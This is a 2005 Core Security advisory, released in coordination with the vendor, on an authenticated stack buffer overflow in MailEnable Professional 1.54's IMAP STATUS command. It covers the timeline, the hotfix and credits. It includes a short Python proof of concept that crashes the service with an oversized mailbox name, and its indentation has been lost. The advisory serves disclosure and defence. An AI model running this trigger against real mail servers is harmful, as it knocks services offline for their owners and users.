Core Security Technologies Advisory 2005.0629

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Core Security Technologies - Corelabs Advisory  
http://www.coresecurity.com/corelabs/  
  
MailEnable Buffer Overflow Vulnerability  
  
  
  
Date Published: 2005-07-12  
  
Last Update: 2005-07-12  
  
Advisory ID: CORE-2005-0629  
  
Bugtraq ID: None currently assigned  
  
CVE Name: None currently assigned  
  
Title: MailEnable Buffer Overflow Vulnerability  
  
Class: Boundary Error Condition (Stack Buffer Overflow)  
  
Remotely Exploitable: Yes  
  
Locally Exploitable: Yes  
  
Advisory URL:  
http://www.coresecurity.com/common/showdoc.php?idx=467&idxseccion=10  
  
Vendors contacted:  
- MailEnable  
2005-06-30: Notification to vendor.  
2005-06-30: Vendor acknowledged notification and provided a fix.  
  
Release Mode: COORDINATED RELEASE  
  
  
*Vulnerability Description:*  
  
MailEnable is a mail server software which provides a messaging  
platform for Microsoft Windows. For more information about  
MailEnable see http://www.mailenable.com/  
  
A buffer overflow vulnerability was found in the status command.  
Remote exploitation of this vulnerability could allow an attacker  
to execute arbitrary code with System privileges. The status command  
requires an authenticated session, so valid credentials are required.  
  
  
*Vulnerable Packages:*  
  
MailEnable Professional edition version 1.54  
  
Tested on:  
. Windows 2000 sp0  
. Windows 2000 sp2  
. Windows XP sp0  
  
  
*Solution/Vendor Information/Workaround:*  
  
This issue was addressed by the last hotfix for MailEnable (dated  
30th May 2005). The hotfix can be downloaded from:  
http://www.mailenable.com/hotfix/  
  
  
*Credits:*  
  
This vulnerability was found by Ariel Sanchez from Core Security  
Technologies.  
  
We wish to thank Peter Fregon from MailEnable for his quick response  
to this issue.  
  
  
*Technical Description - Exploit/Concept Code:*  
  
This vulnerability was found in the Imapd daemon service of MailEnable  
Professional edition version 1.54.   
  
The vulnerability can be triggered by giving a long mailbox name  
argument to the status command. This will cause a stack based buffer  
overflow, containing null bytes (\x00).  
  
The following is a Python proof-of-concept code that will trigger the  
vulnerability:  
  
----------------------------------------------------------------------  
#  
# POC about imapd mailenable bug in status command  
#  
  
import sys  
import imaplib  
  
class poc:  
  
def __init__(self,host,loginimap,passimap):  
self.host=host  
self.loginimap=loginimap  
self.passimap=passimap  
  
def exploit(self):  
print "Please wait"  
  
connect = imaplib.IMAP4(self.host)  
connect.login(self.loginimap,self.passimap)  
nops='\x00'  
nops+='\x90'*10540  
try:  
typ, data = connect.status(nops,'(UIDNEXT UIDVALIDITY   
MESSAGES UNSEEN RECENT)')  
except Exception,e:  
print "Service down!"  
return 0   
  
if(len(sys.argv) < 4):  
print "Need 3 arguments, ./poc.py host user pass"  
sys.exit(1)  
  
exp=poc(sys.argv[1],sys.argv[2],sys.argv[3])  
exp.exploit()  
----------------------------------------------------------------------  
  
  
*About Corelabs*  
  
CoreLabs, the research center of Core Security Technologies, is charged  
with anticipating the future needs and requirements for information  
security technologies.  
We conduct our research in several important areas of computer security  
including system vulnerabilities, cyber attack planning and simulation,  
source code auditing, and cryptography. Our results include problem  
formalization, identification of vulnerabilities, novel solutions and  
prototypes for new technologies. CoreLabs regularly publishes security  
advisories, technical papers, project information and shared software  
tools for public use at:  
http://www.coresecurity.com/corelabs/  
  
  
*About Core Security Technologies*  
  
Core Security Technologies develops strategic security solutions for  
Fortune 1000 corporations, government agencies and military  
organizations. The company offers information security software and  
services designed to assess risk and protect and manage information  
assets. Headquartered in Boston, MA, Core Security Technologies can  
be reached at 617-399-6980 or on the Web at:  
http://www.coresecurity.com.  
  
To learn more about CORE IMPACT, the first comprehensive penetration  
testing product, visit:  
http://www.coresecurity.com/products/coreimpact  
  
*DISCLAIMER:*  
  
The contents of this advisory are copyright (c) 2005 CORE Security  
Technologies and (c) 2005 Corelabs, and may be distributed freely  
provided that no fee is charged for this distribution and proper  
credit is given.  
  
$Id: MailEnable-advisory.txt,v 1.9 2005/07/12 22:04:23 carlos Exp $  
  
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